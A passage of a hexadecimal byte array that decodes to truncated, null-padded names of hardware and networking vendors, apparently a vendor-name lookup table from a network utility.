0x6e, 0x4d,\r\n0x53, 0x68, 0x75, 0x6b, 0x6f, 0x45, 0x6c, 0x65,\r\n0x4e, 0x65, 0x78, 0x67, 0x65, 0x6e, 0x43, 0x69,\r\n0x48, 0x65, 0x69, 0x6e, 0x65, 0x73, 0x79, 0x73,\r\n0x48, 0x61, 0x72, 0x6d, 0x73, 0x57, 0x65, 0x6e,\r\n0x43, 0x69, 0x72, 0x72, 0x75, 0x73, 0x4c, 0x6f,\r\n0x48, 0x61, 0x77, 0x6b, 0x69, 0x6e, 0x67, 0x54,\r\n0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74,\r\n0x54, 0x65, 0x6c, 0x65, 0x76, 0x69, 0x63, 0x4e,\r\n0x53, 0x75, 0x6e, 0x4f, 0x70, 0x74, 0x72, 0x6f,\r\n0x4e, 0x69, 0x68, 0x6f, 0x6e, 0x4d, 0x65, 0x63,\r\n0x4d, 0x6f, 0x74, 0x69, 0x63, 0x49, 0x6e, 0x63,\r\n0x47, 0x2d, 0x54, 0x65, 0x6b, 0x45, 0x6c, 0x65,\r\n0x44, 0x69, 0x67, 0x69, 0x74, 0x61, 0x6c, 0x35,\r\n0x42, 0x65, 0x69, 0x6a, 0x69, 0x6e, 0x67, 0x4e,\r\n0x4e, 0x69, 0x69, 0x67, 0x61, 0x74, 0x61, 0x53,\r\n0x4e, 0x63, 0x69, 0x53, 0x79, 0x73, 0x74, 0x65,\r\n0x4c, 0x69, 0x70, 0x6d, 0x61, 0x6e, 0x54, 0x72,\r\n0x46, 0x6f, 0x72, 0x73, 0x77, 0x61, 0x79, 0x53,\r\n0x43, 0x68, 0x61, 0x6e, 0x67, 0x63, 0x68, 0x75,\r\n0x41, 0x74, 0x72, 0x69, 0x75, 0x6d, 0x43, 0x41,\r\n0x42, 0x65, 0x72, 0x6d, 0x61, 0x69, 0x00, 0x00,\r\n0x4e, 0x75, 0x6d, 0x65, 0x73, 0x61, 0x00, 0x00,\r\n0x57, 0x61, 0x76, 0x65, 0x70, 0x6c, 0x75, 0x73,\r\n0x54, 0x72, 0x61, 0x6a, 0x65, 0x74, 0x00, 0x00,\r\n0x54, 0x68, 0x6f, 0x6d, 0x73, 0x6f, 0x6e, 0x54,\r\n0x54, 0x65, 0x63, 0x6e, 0x61, 0x45, 0x6c, 0x65,\r\n0x4f, 0x70, 0x74, 0x69, 0x75, 0x6d, 0x00, 0x00,\r\n0x41, 0x76, 0x54, 0x65, 0x63, 0x68, 0x00, 0x00,\r\n0x41, 0x6c, 0x70, 0x68, 0x61, 0x63, 0x65, 0x6c,\r\n0x41, 0x75, 0x76, 0x69, 0x74, 0x72, 0x61, 0x6e,\r\n0x34, 0x67, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x49, 0x77, 0x6f, 0x72, 0x6c, 0x64, 0x4e, 0x65,\r\n0x53, 0x61, 0x67, 0x65, 0x6d, 0x63, 0x6f, 0x6d,\r\n0x54, 0x65, 0x6c, 0x65, 0x66, 0x69, 0x65, 0x6c,\r\n0x50, 0x61, 0x72, 0x6b, 0x65, 0x72, 0x76, 0x69,\r\n0x54, 0x72, 0x69, 0x70, 0x6c, 0x65, 0x50, 0x6c,\r\n0x52, 0x61, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6d,\r\n0x41, 0x63, 0x74, 0x69, 0x76, 0x2d, 0x4e, 0x65,\r\n0x33, 0x36, 0x30, 0x73, 0x75, 0x6e, 0x44, 0x69,\r\n0x4d, 0x69, 0x63, 0x72, 0x6f, 0x74, 0x72, 0x6f,\r\n0x4c, 0x65, 0x6d, 0x6b, 0x65, 0x44, 0x69, 0x61,\r\n0x45, 0x6c, 0x70, 0x68, 0x65, 0x6c, 0x00, 0x00,\r\n0x54, 0x72, 0x61, 0x6e, 0x73, 0x63, 0x6f, 0x72,\r\n0x45, 0x6c, 0x74, 0x69, 0x73, 0x4d, 0x69, 0x63,\r\n0x45, 0x2d, 0x54, 0x6f, 0x70, 0x4e, 0x65, 0x74,\r\n0x43, 0x68, 0x69, 0x6e, 0x61, 0x45, 0x6c, 0x65,\r\n0x4a, 0x61, 0x6e, 0x69, 0x74, 0x7a, 0x61, 0x45,\r\n0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x44, 0x72,\r\n0x4d, 0x75, 0x72, 0x61, 0x74, 0x61, 0x4d, 0x61,\r\n0x4d, 0x61, 0x74, 0x53, 0x41, 0x4d, 0x69, 0x72,\r\n0x49, 0x72, 0x69, 0x73, 0x42, 0x65, 0x72, 0x68,\r\n0x49, 0x6e, 0x32, 0x4e, 0x65, 0x74, 0x77, 0x6f,\r\n0x47, 0x65, 0x6d, 0x73, 0x74, 0x61, 0x72, 0x54,\r\n0x43, 0x74, 0x73, 0x45, 0x6c, 0x65, 0x63, 0x74,\r\n0x54, 0x70, 0x61, 0x63, 0x6b, 0x00, 0x00, 0x00,\r\n0x53, 0x6f, 0x6c, 0x61, 0x72, 0x54, 0x65, 0x6c,\r\n0x4e, 0x65, 0x77, 0x59, 0x6f, 0x72, 0x6b, 0x41,\r\n0x47, 0x65, 0x6d, 0x73, 0x6f, 0x63, 0x49, 0x6e,\r\n0x44, 0x65, 0x63, 0x72, 0x75, 0x00, 0x00, 0x00,\r\n0x41, 0x6d, 0x74, 0x65, 0x6c, 0x63, 0x6f, 0x00,\r\n0x41, 0x6d, 0x70, 0x6c, 0x65, 0x43, 0x6f, 0x6d,\r\n0x47, 0x65, 0x6d, 0x77, 0x6f, 0x6e, 0x43, 0x6f,\r\n0x54, 0x65, 0x6c, 0x65, 0x76, 0x65, 0x73, 0x53,\r\n0x49, 0x6f, 0x6e, 0x73, 0x69, 0x67, 0x6e, 0x4f,\r\n0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x73, 0x63,\r\n0x43, 0x61, 0x74, 0x61, 0x6c, 0x79, 0x73, 0x74,\r\n0x41, 0x6c, 0x63, 0x61, 0x74, 0x65, 0x6c, 0x4e,\r\n0x41, 0x64, 0x70, 0x47, 0x61, 0x75, 0x73, 0x65,\r\n0x56, 0x69, 0x64, 0x65, 0x6f, 0x74, 0x72, 0x6f,\r\n0x43, 0x6c, 0x65, 0x6d, 0x61, 0x74, 0x69, 0x63,\r\n0x41, 0x76, 0x61, 0x72, 0x61, 0x54, 0x65, 0x63,\r\n0x41, 0x73, 0x74, 0x61, 0x72, 0x74, 0x65, 0x54,\r\n0x53, 0x69, 0x65, 0x6d, 0x65, 0x6e, 0x73, 0x41,\r\n0x49, 0x6e, 0x50, 0x72, 0x6f, 0x67, 0x72, 0x65,\r\n0x53, 0x70, 0x61, 0x72, 0x6b, 0x6c, 0x61, 0x6e,\r\n0x53, 0x65, 0x72, 0x63, 0x6f, 0x6d, 0x6d, 0x00,\r\n0x50, 0x6f, 0x6e, 0x69, 0x63, 0x6f, 0x00, 0x00,\r\n0x4e, 0x61, 0x76, 0x69, 0x63, 0x6f, 0x41, 0x75,\r\n0x4f, 0x70, 0x65, 0x6e, 0x54, 0x65, 0x6c, 0x65,\r\n0x4d, 0x69, 0x6c, 0x6e, 0x69, 0x6f, 0x33, 0x00,\r\n0x4d, 0x61, 0x61, 0x73, 0x49, 0x6e, 0x74, 0x65,\r\n0x46, 0x75, 0x6a, 0x69, 0x79, 0x61, 0x44, 0x65,\r\n0x43, 0x75, 0x62, 0x69, 0x63, 0x44, 0x65, 0x66,\r\n0x55, 0x6c, 0x74, 0x72, 0x61, 0x63, 0x6b, 0x65,\r\n0x48, 0x6d, 0x65, 0x43, 0x6c, 0x65, 0x61, 0x72,\r\n0x42, 0x6f, 0x65, 0x54, 0x65, 0x63, 0x68, 0x6e,\r\n0x54, 0x69, 0x73, 0x63, 0x61, 0x6c, 0x69, 0x55,\r\n0x54, 0x6f, 0x70, 0x66, 0x69, 0x65, 0x6c, 0x64,\r\n0x54, 0x65, 0x6d, 0x69, 0x63, 0x53, 0x64, 0x73,\r\n0x4e, 0x65, 0x74, 0x6b, 0x6c, 0x61, 0x73, 0x73,\r\n0x46, 0x6f, 0x72, 0x6d, 0x6f, 0x73, 0x61, 0x54,\r\n0x4d, 0x63, 0x61, 0x66, 0x65, 0x65, 0x00, 0x00,\r\n0x43, 0x6e, 0x63, 0x72, 0x2d, 0x49, 0x74, 0x48,\r\n0x43, 0x65, 0x72, 0x74, 0x61, 0x6e, 0x63, 0x65,\r\n0x42, 0x6c, 0x69, 0x70, 0x00, 0x00, 0x00, 0x00,\r\n0x45, 0x6e, 0x64, 0x61, 0x63, 0x65, 0x54, 0x65,\r\n0x55, 0x6e, 0x69, 0x74, 0x65, 0x64, 0x54, 0x65,\r\n0x53, 0x63, 0x61, 0x6c, 0x65, 0x6e, 0x74, 0x00,\r\n0x43, 0x72, 0x61, 0x79, 0x00, 0x00, 0x00, 0x00,\r\n0x4d, 0x69, 0x6e, 0x74, 0x72, 0x6f, 0x6e, 0x45,\r\n0x4d, 0x65, 0x74, 0x61, 0x6e, 0x6f, 0x69, 0x61,\r\n0x47, 0x61, 0x77, 0x65, 0x6c, 0x6c, 0x54, 0x65,\r\n0x43, 0x61, 0x73, 0x74, 0x65, 0x6c, 0x00, 0x00,\r\n0x53, 0x6f, 0x6c, 0x75, 0x74, 0x69, 0x6f, 0x6e,\r\n0x4e, 0x65, 0x77, 0x63, 0x6f, 0x74, 0x65, 0x63,\r\n0x4d, 0x69, 0x63, 0x72, 0x6f, 0x2d, 0x52, 0x65,\r\n0x45, 0x63, 0x61, 0x73, 0x74, 0x6c, 0x65, 0x45,\r\n0x52, 0x69, 0x76, 0x65, 0x72, 0x62, 0x65, 0x64,\r\n0x4b, 0x6e, 0x6f, 0x76, 0x61, 0x74, 0x69, 0x76,\r\n0x49, 0x69, 0x67, 0x61, 0x00, 0x00, 0x00, 0x00,\r\n0x48, 0x61, 0x73, 0x68, 0x69, 0x6d, 0x6f, 0x74,\r\n0x48, 0x61, 0x6e, 0x6d, 0x69, 0x53, 0x65, 0x6d,\r\n0x45, 0x76, 0x65, 0x72, 0x62, 0x65, 0x65, 0x4e,\r\n0x50, 0x61, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x46,\r\n0x42, 0x75, 0x72, 0x64, 0x69, 0x63, 0x6b, 0x41,\r\n0x42, 0x26, 0x42, 0x45, 0x6c, 0x65, 0x63, 0x74,\r\n0x52, 0x65, 0x6d, 0x73, 0x64, 0x61, 0x71, 0x00,\r\n0x4d, 0x79, 0x6e, 0x61, 0x68, 0x54, 0x65, 0x63,\r\n0x4c, 0x6f, 0x77, 0x72, 0x61, 0x6e, 0x63, 0x65,\r\n0x4c, 0x6f, 0x67, 0x69, 0x63, 0x43, 0x6f, 0x6e,\r\n0x49, 0x73, 0x6b, 0x72, 0x61, 0x54, 0x72, 0x61,\r\n0x41, 0x73, 0x69, 0x78, 0x45, 0x6c, 0x65, 0x63,\r\n0x5a, 0x6f, 0x72, 0x61, 0x6e, 0x00, 0x00, 0x00,\r\n0x59, 0x6f, 0x6b, 0x6f, 0x54, 0x65, 0x63, 0x68,\r\n0x57, 0x74, 0x73, 0x73, 0x00, 0x00, 0x00, 0x00,\r\n0x56, 0x69, 0x6e, 0x65, 0x73, 0x79, 0x73, 0x54,\r\n0x54, 0x61, 0x62, 0x6c, 0x65, 0x61, 0x75, 0x4c,\r\n0x53, 0x6b, 0x6f, 0x76, 0x00, 0x00, 0x00, 0x00,\r\n0x53, 0x49, 0x54, 0x54, 0x49, 0x53, 0x50, 0x41,\r\n0x50, 0x72, 0x6f, 0x66, 0x69, 0x62, 0x75, 0x73,\r\n0x50, 0x72, 0x69, 0x76, 0x61, 0x72, 0x69, 0x73,\r\n0x4f, 0x73, 0x61, 0x6b, 0x61, 0x4d, 0x69, 0x63,\r\n0x46, 0x69, 0x6c, 0x74, 0x72, 0x6f, 0x6e, 0x69,\r\n0x45, 0x70, 0x69, 0x63, 0x65, 0x6e, 0x74, 0x65,\r\n0x43, 0x72, 0x65, 0x73, 0x69, 0x74, 0x74, 0x49,\r\n0x43, 0x6f, 0x70, 0x61, 0x6e, 0x00, 0x00, 0x00,\r\n0x41, 0x6b, 0x73, 0x79, 0x73, 0x00, 0x00, 0x00,\r\n0x43, 0x2d, 0x54, 0x65, 0x63, 0x68, 0x55, 0x6e,\r\n0x58, 0x69, 0x6e, 0x63, 0x6f, 0x6d, 0x00, 0x00,\r\n0x54, 0x65, 0x6c, 0x6c, 0x69, 0x6f, 0x6e, 0x00,\r\n0x53, 0x68, 0x75, 0x72, 0x65, 0x00, 0x00, 0x00,\r\n0x52, 0x65, 0x6d, 0x65, 0x63, 0x00, 0x00, 0x00,\r\n0x50, 0x6c, 0x78, 0x54, 0x65, 0x63, 0x68, 0x6e,\r\n0x4d, 0x63, 0x68, 0x61, 0x72, 0x67, 0x65, 0x00,\r\n0x45, 0x78, 0x74, 0x72, 0x65, 0x6d, 0x65, 0x73,\r\n0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x45, 0x6e,\r\n0x43, 0x68, 0x69, 0x79, 0x75, 0x54, 0x65, 0x63,\r\n0x42, 0x69, 0x74, 0x77, 0x61, 0x6c, 0x6c, 0x65,\r\n0x41, 0x64, 0x69, 0x6d, 0x6f, 0x73, 0x00, 0x00,\r\n0x41, 0x61, 0x63, 0x45, 0x6c, 0x65, 0x63, 0x74,\r\n0x5a, 0x69, 0x6f, 0x6e, 0x63, 0x6f, 0x6d, 0x45,\r\n0x57, 0x61, 0x79, 0x74, 0x65, 0x63, 0x68, 0x44,\r\n0x53, 0x68, 0x61, 0x64, 0x6f, 0x6e, 0x67, 0x4c,\r\n0x53, 0x61, 0x6e, 0x64, 0x6d, 0x61, 0x72, 0x74,\r\n0x4f, 0x72, 0x62, 0x61, 0x6e, 0x00, 0x00, 0x00,\r\n0x4d, 0x75, 0x63, 0x6f, 0x49, 0x6e, 0x64, 0x75,\r\n0x46, 0x65, 0x73, 0x74, 0x6f, 0x00, 0x00, 0x00,\r\n0x45, 0x7a, 0x71, 0x75, 0x65, 0x73, 0x74, 0x00,\r\n0x53, 0x6d, 0x61, 0x72, 0x74, 0x68, 0x6f, 0x6d,\r\n0x4b, 0x61, 0x73, 0x64, 0x61, 0x4e, 0x65, 0x74,\r\n0x49, 0x70, 0x61, 0x63, 0x54, 0x65, 0x63, 0x68,\r\n0x45, 0x2d, 0x54, 0x65, 0x6e, 0x49, 0x6e, 0x66,\r\n0x56, 0x75, 0x6c, 0x63, 0x61, 0x6e, 0x50, 0x6f,\r\n0x53, 0x62, 0x63, 0x41, 0x73, 0x69, 0x00, 0x00,\r\n0x52, 0x65, 0x61, 0x45, 0x6c, 0x65, 0x6b, 0x74,\r\n0x4f, 0x70, 0x74, 0x6f, 0x77, 0x61, 0x79, 0x54,\r\n0x4d, 0x61, 0x63, 0x65, 0x79, 0x45, 0x6e, 0x74,\r\n0x4a, 0x74, 0x61, 0x67, 0x54, 0x65, 0x63, 0x68,\r\n0x46, 0x75, 0x6a, 0x69, 0x6e, 0x6f, 0x6e, 0x00,\r\n0x45, 0x6e, 0x64, 0x72, 0x75, 0x6e, 0x54, 0x65,\r\n0x4d, 0x65, 0x67, 0x61, 0x73, 0x6f, 0x6c, 0x75,\r\n0x4c, 0x65, 0x67, 0x72, 0x61, 0x00, 0x00, 0x00,\r\n0x44, 0x69, 0x67, 0x69, 0x74, 0x61, 0x6c, 0x6b,\r\n0x44, 0x69, 0x67, 0x69, 0x63, 0x75, 0x62, 0x65,\r\n0x43, 0x6f, 0x6d, 0x26, 0x43, 0x00, 0x00, 0x00,\r\n0x43, 0x69, 0x6d, 0x2d, 0x55, 0x73, 0x61, 0x00,\r\n0x33, 0x62, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6d,\r\n0x4d, 0x61, 0x6e, 0x67, 0x72, 0x6f, 0x76, 0x65,\r\n0x49, 0x6e, 0x64, 0x61, 0x67, 0x6f, 0x6e, 0x4f,\r\n0x43, 0x6c, 0x65, 0x61, 0x72, 0x45, 0x64, 0x67,\r\n0x4b, 0x65, 0x6e, 0x74, 0x69, 0x6d, 0x61, 0x54,\r\n0x48, 0x75, 0x6e, 0x74, 0x45, 0x6c, 0x65, 0x63,\r\n0x57, 0x61, 0x76, 0x65, 0x73, 0x70, 0x6c, 0x69,\r\n0x52, 0x65, 0x61, 0x6c, 0x49, 0x64, 0x54, 0x65,\r\n0x52, 0x64, 0x6d, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x50, 0x72, 0x6f, 0x64, 0x72, 0x69, 0x76, 0x65,\r\n0x50, 0x61, 0x6e, 0x61, 0x73, 0x6f, 0x6e, 0x69,\r\n0x4e, 0x69, 0x73, 0x63, 0x61, 0x00, 0x00, 0x00,\r\n0x4d, 0x69, 0x6e, 0x64, 0x72, 0x61, 0x79, 0x00,\r\n0x4b, 0x6a, 0x61, 0x65, 0x72, 0x75, 0x6c, 0x66,\r\n0x4a, 0x61, 0x79, 0x48, 0x6f, 0x77, 0x54, 0x65,\r\n0x49, 0x6e, 0x73, 0x74, 0x61, 0x45, 0x6c, 0x65,\r\n0x42, 0x6f, 0x73, 0x74, 0x6f, 0x6e, 0x53, 0x63,\r\n0x47, 0x61, 0x6d, 0x69, 0x6e, 0x67, 0x53, 0x75,\r\n0x45, 0x67, 0x6f, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x44, 0x69, 0x67, 0x69, 0x74, 0x61, 0x6c, 0x6c,\r\n0x43, 0x6f, 0x73, 0x6d, 0x6f, 0x54, 0x65, 0x63,\r\n0x43, 0x68, 0x65, 0x6e, 0x67, 0x64, 0x75, 0x4b,\r\n0x48, 0x65, 0x6c, 0x69, 0x75, 0x73, 0x00, 0x00,\r\n0x41, 0x69, 0x6d, 0x76, 0x61, 0x6c, 0x6c, 0x65,\r\n0x57, 0x6f, 0x72, 0x6c, 0x64, 0x61, 0x63, 0x63,\r\n0x54, 0x65, 0x61, 0x6c, 0x45, 0x6c, 0x65, 0x63,\r\n0x49, 0x74, 0x72, 0x6f, 0x6e, 0x69, 0x78, 0x00,\r\n0x41, 0x75, 0x67, 0x6d, 0x65, 0x6e, 0x74, 0x69,\r\n0x43, 0x61, 0x62, 0x6c, 0x65, 0x77, 0x61, 0x72,\r\n0x47, 0x72, 0x65, 0x65, 0x6e, 0x62, 0x65, 0x6c,\r\n0x55, 0x70, 0x6c, 0x6f, 0x67, 0x69, 0x78, 0x00,\r\n0x43, 0x68, 0x75, 0x6e, 0x67, 0x2d, 0x48, 0x73,\r\n0x4d, 0x65, 0x67, 0x61, 0x70, 0x6f, 0x77, 0x65,\r\n0x57, 0x2d, 0x4c, 0x69, 0x6e, 0x78, 0x54, 0x65,\r\n0x52, 0x61, 0x7a, 0x61, 0x4d, 0x69, 0x63, 0x72,\r\n0x4c, 0x6f, 0x6f, 0x74, 0x6f, 0x6d, 0x54, 0x65,\r\n0x44, 0x75, 0x61, 0x6c, 0x69, 0x00, 0x00, 0x00,\r\n0x41, 0x63, 0x63, 0x75, 0x72, 0x61, 0x74, 0x65,\r\n0x58, 0x61, 0x6d, 0x62, 0x61, 0x6c, 0x61, 0x00,\r\n0x4e, 0x65, 0x74, 0x73, 0x74, 0x61, 0x72, 0x00,\r\n0x49, 0x72, 0x69, 0x73, 0x53, 0x65, 0x6e, 0x73,\r\n0x48, 0x69, 0x73, 0x68, 0x61, 0x72, 0x70, 0x00,\r\n0x46, 0x75, 0x6a, 0x69, 0x53, 0x79, 0x73, 0x74,\r\n0x45, 0x6e, 0x64, 0x65, 0x6c, 0x65, 0x6f, 0x00,\r\n0x43, 0x61, 0x72, 0x64, 0x69, 0x6f, 0x6e, 0x65,\r\n0x42, 0x69, 0x67, 0x42, 0x65, 0x61, 0x72, 0x4e,\r\n0x4f, 0x70, 0x74, 0x69, 0x63, 0x61, 0x6c, 0x49,\r\n0x5a, 0x69, 0x70, 0x68, 0x65, 0x72, 0x00, 0x00,\r\n0x58, 0x61, 0x6c, 0x79, 0x6f, 0x00, 0x00, 0x00,\r\n0x57, 0x61, 0x73, 0x61, 0x62, 0x69, 0x00, 0x00,\r\n0x54, 0x69, 0x76, 0x65, 0x6c, 0x6c, 0x61, 0x00,\r\n0x53, 0x74, 0x72, 0x65, 0x74, 0x63, 0x68, 0x00,\r\n0x53, 0x69, 0x6e, 0x61, 0x72, 0x00, 0x00, 0x00,\r\n0x52, 0x6f, 0x62, 0x6f, 0x78, 0x00, 0x00, 0x00,\r\n0x50, 0x6f, 0x6c, 0x79, 0x70, 0x69, 0x78, 0x00,\r\n0x4e, 0x6f, 0x72, 0x74, 0x68, 0x6f, 0x76, 0x65,\r\n0x4b, 0x79, 0x75, 0x73, 0x68, 0x75, 0x2d, 0x4b,\r\n0x45, 0x6c, 0x65, 0x78, 0x74, 0x65, 0x63, 0x68,\r\n0x54, 0x61, 0x6c, 0x6b, 0x73, 0x77, 0x69, 0x74,\r\n0x43, 0x65, 0x6c, 0x6c, 0x69, 0x6e, 0x6b, 0x00,\r\n0x50, 0x63, 0x73, 0x53, 0x79, 0x73, 0x74, 0x65,\r\n0x53, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x73, 0x63,\r\n0x41, 0x7a, 0x75, 0x6c, 0x00, 0x00, 0x00, 0x00,\r\n0x59, 0x6f, 0x72, 0x6b, 0x52, 0x65, 0x66, 0x72,\r\n0x45, 0x6e, 0x74, 0x72, 0x65, 0x6c, 0x6f, 0x67,\r\n0x44, 0x61, 0x74, 0x61, 0x77, 0x69, 0x72, 0x65,\r\n0x43, 0x6f, 0x6e, 0x74, 0x69, 0x6e, 0x75, 0x75,\r\n0x43, 0x61, 0x62, 0x6c, 0x65, 0x6c, 0x6f, 0x67,\r\n0x41, 0x64, 0x64, 0x65, 0x72, 0x54, 0x65, 0x63,\r\n0x50, 0x68, 0x6f, 0x6e, 0x61, 0x6b, 0x00, 0x00,\r\n0x50, 0x65, 0x72, 0x69, 0x62, 0x69, 0x74, 0x4e,\r\n0x44, 0x65, 0x6c, 0x74, 0x61, 0x49, 0x6e, 0x66,\r\n0x44, 0x61, 0x79, 0x4f, 0x6e, 0x65, 0x44, 0x69,\r\n0x47, 0x65, 0x6e, 0x65, 0x78, 0x69, 0x73, 0x42,\r\n0x56, 0x65, 0x6f, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x4e, 0x69, 0x63, 0x65, 0x74, 0x79, 0x54, 0x65,\r\n0x4c, 0x69, 0x66, 0x65, 0x74, 0x72, 0x6f, 0x6e,\r\n0x41, 0x6c, 0x63, 0x61, 0x74, 0x65, 0x6c, 0x42,\r\n0x4f, 0x62, 0x7a, 0x65, 0x72, 0x76, 0x54, 0x65,\r\n0x44, 0x26, 0x52, 0x45, 0x6c, 0x65, 0x63, 0x74,\r\n0x49, 0x63, 0x75, 0x62, 0x65, 0x00, 0x00, 0x00,\r\n0x57, 0x65, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x74,\r\n0x56, 0x61, 0x76, 0x69, 0x63, 0x4e, 0x65, 0x74,\r\n0x53, 0x65, 0x77, 0x45, 0x75, 0x72, 0x6f, 0x64,\r\n0x47, 0x61, 0x74, 0x65, 0x77, 0x61, 0x72, 0x65,\r\n0x41, 0x64, 0x64, 0x69, 0x2d, 0x44, 0x61, 0x74,\r\n0x4d, 0x69, 0x64, 0x61, 0x73, 0x45, 0x6e, 0x67,\r\n0x42, 0x62, 0x6f, 0x78, 0x00, 0x00, 0x00, 0x00,\r\n0x46, 0x74, 0x61, 0x43, 0x6f, 0x6d, 0x6d, 0x75,\r\n0x57, 0x69, 0x6e, 0x74, 0x65, 0x63, 0x49, 0x6e,\r\n0x53, 0x61, 0x6e, 0x6d, 0x65, 0x69, 0x45, 0x6c,\r\n0x53, 0x61, 0x6e, 0x64, 0x62, 0x75, 0x72, 0x73,\r\n0x52, 0x73, 0x41, 0x75, 0x74, 0x6f, 0x6d, 0x61,\r\n0x51, 0x61, 0x6d, 0x63, 0x6f, 0x6d, 0x54, 0x65,\r\n0x46, 0x69, 0x72, 0x73, 0x74, 0x53, 0x69, 0x6c,\r\n0x44, 0x69, 0x67, 0x69, 0x74, 0x61, 0x6c, 0x4b,\r\n0x44, 0x65, 0x6e, 0x74, 0x75, 0x6d, 0x00, 0x00,\r\n0x44, 0x61, 0x74, 0x61, 0x63, 0x61, 0x70, 0x00,\r\n0x42, 0x6c, 0x75, 0x65, 0x74, 0x6f, 0x6f, 0x74,\r\n0x41, 0x72, 0x63, 0x65, 0x53, 0x69, 0x73, 0x74,\r\n0x41, 0x63, 0x74, 0x69, 0x00, 0x00, 0x00, 0x00,\r\n0x58, 0x69, 0x72, 0x72, 0x75, 0x73, 0x00, 0x00,\r\n0x41, 0x62, 0x6c, 0x65, 0x72, 0x65, 0x78, 0x45,\r\n0x55, 0x62, 0x73, 0x74, 0x6f, 0x72, 0x61, 0x67,\r\n0x54, 0x72, 0x69, 0x6e, 0x69, 0x74, 0x79, 0x53,\r\n0x50, 0x61, 0x6c, 0x50, 0x61, 0x63, 0x69, 0x66,\r\n0x4d, 0x6f, 0x72, 0x74, 0x61, 0x72, 0x61, 0x49,\r\n0x42, 0x72, 0x61, 0x69, 0x6e, 0x69, 0x75, 0x6d,\r\n0x41, 0x73, 0x74, 0x75, 0x74, 0x65, 0x4e, 0x65,\r\n0x41, 0x64, 0x64, 0x6f, 0x2d, 0x4a, 0x61, 0x70,\r\n0x42, 0x6c, 0x61, 0x63, 0x6b, 0x62, 0x65, 0x72,\r\n0x4d, 0x61, 0x78, 0x63, 0x65, 0x73, 0x73, 0x49,\r\n0x41, 0x6d, 0x65, 0x74, 0x65, 0x6b, 0x00, 0x00,\r\n0x57, 0x69, 0x6e, 0x6e, 0x65, 0x72, 0x74, 0x65,\r\n0x57, 0x69, 0x64, 0x65, 0x76, 0x69, 0x65, 0x77,\r\n0x4f, 0x72, 0x69, 0x6f, 0x6e, 0x4d, 0x75, 0x6c,\r\n0x47, 0x69, 0x67, 0x61, 0x77, 0x61, 0x76, 0x65,\r\n0x46, 0x61, 0x73, 0x74, 0x54, 0x76, 0x2d, 0x53,\r\n0x41, 0x65, 0x72, 0x6f, 0x74, 0x65, 0x6c, 0x65,\r\n0x4d, 0x69, 0x63, 0x72, 0x6f, 0x68, 0x61, 0x72,\r\n0x4c, 0x61, 0x6e, 0x64, 0x69, 0x73, 0x2b, 0x47,\r\n0x45, 0x6c, 0x65, 0x63, 0x6f, 0x6d, 0x4c, 0x61,\r\n0x41, 0x76, 0x61, 0x6e, 0x65, 0x78, 0x00, 0x00,\r\n0x41, 0x76, 0x61, 0x6d, 0x61, 0x78, 0x00, 0x00,\r\n0x41, 0x70, 0x61, 0x63, 0x4f, 0x70, 0x74, 0x6f,\r\n0x52, 0x6f, 0x73, 0x73, 0x56, 0x69, 0x64, 0x65,\r\n0x50, 0x61, 0x6e, 0x64, 0x75, 0x69, 0x74, 0x00,\r\n0x44, 0x69, 0x73, 0x70, 0x6c, 0x61, 0x79, 0x6c,\r\n0x4d, 0x75, 0x72, 0x72, 0x65, 0x6c, 0x65, 0x6b,\r\n0x43, 0x61, 0x6e, 0x6f, 0x6e, 0x4b, 0x6f, 0x72,\r\n0x47, 0x69, 0x67, 0x61, 0x62, 0x69, 0x74, 0x00,\r\n0x32, 0x78, 0x77, 0x69, 0x72, 0x65, 0x6c, 0x65,\r\n0x41, 0x6c, 0x70, 0x68, 0x61, 0x4e, 0x65, 0x74,\r\n0x53, 0x70, 0x72, 0x65, 0x63, 0x68, 0x65, 0x72,\r\n0x42, 0x77, 0x61, 0x54, 0x65, 0x63, 0x68, 0x6e,\r\n0x53, 0x32, 0x53, 0x65, 0x63, 0x75, 0x72, 0x69,\r\n0x52, 0x61, 0x70, 0x74, 0x6f, 0x72, 0x4e, 0x65,\r\n0x50, 0x68, 0x6f, 0x74, 0x6f, 0x6d, 0x65, 0x74,\r\n0x50, 0x63, 0x46, 0x61, 0x62, 0x72, 0x69, 0x6b,\r\n0x4e, 0x65, 0x78, 0x75, 0x73, 0x54, 0x65, 0x63,\r\n0x4b, 0x79, 0x75, 0x73, 0x68, 0x75, 0x45, 0x6c,\r\n0x49, 0x65, 0x65, 0x65, 0x38, 0x30, 0x32, 0x31,\r\n0x46, 0x6d, 0x6e, 0x43, 0x6f, 0x6d, 0x6d, 0x75,\r\n0x45, 0x32, 0x6f, 0x43, 0x6f, 0x6d, 0x6d, 0x75,\r\n0x44, 0x69, 0x61, 0x6c, 0x6f, 0x67, 0x00, 0x00,\r\n0x43, 0x6f, 0x67, 0x6e, 0x69, 0x6f, 0x00, 0x00,\r\n0x42, 0x72, 0x6f, 0x61, 0x64, 0x62, 0x61, 0x6e,\r\n0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x74, 0x65,\r\n0x54, 0x69, 0x6d, 0x65, 0x73, 0x70, 0x61, 0x63,\r\n0x45, 0x75, 0x72, 0x6f, 0x70, 0x6c, 0x65, 0x78,\r\n0x43, 0x61, 0x76, 0x69, 0x75, 0x6d, 0x00, 0x00,\r\n0x43, 0x61, 0x6c, 0x6c, 0x75, 0x72, 0x6c, 0x00,\r\n0x54, 0x65, 0x76, 0x65, 0x62, 0x6f, 0x78, 0x00,\r\n0x4e, 0x6f, 0x6b, 0x69, 0x61, 0x53, 0x69, 0x65,\r\n0x4f, 0x6e, 0x6b, 0x65, 0x79, 0x54, 0x65, 0x63,\r\n0x4d, 0x72, 0x76, 0x43, 0x6f, 0x6d, 0x6d, 0x75,\r\n0x45, 0x2d, 0x57, 0x2f, 0x59, 0x6f, 0x75, 0x00,\r\n0x44, 0x67, 0x74, 0x53, 0x70, 0x5a, 0x4f, 0x4f,\r\n0x44, 0x65, 0x6c, 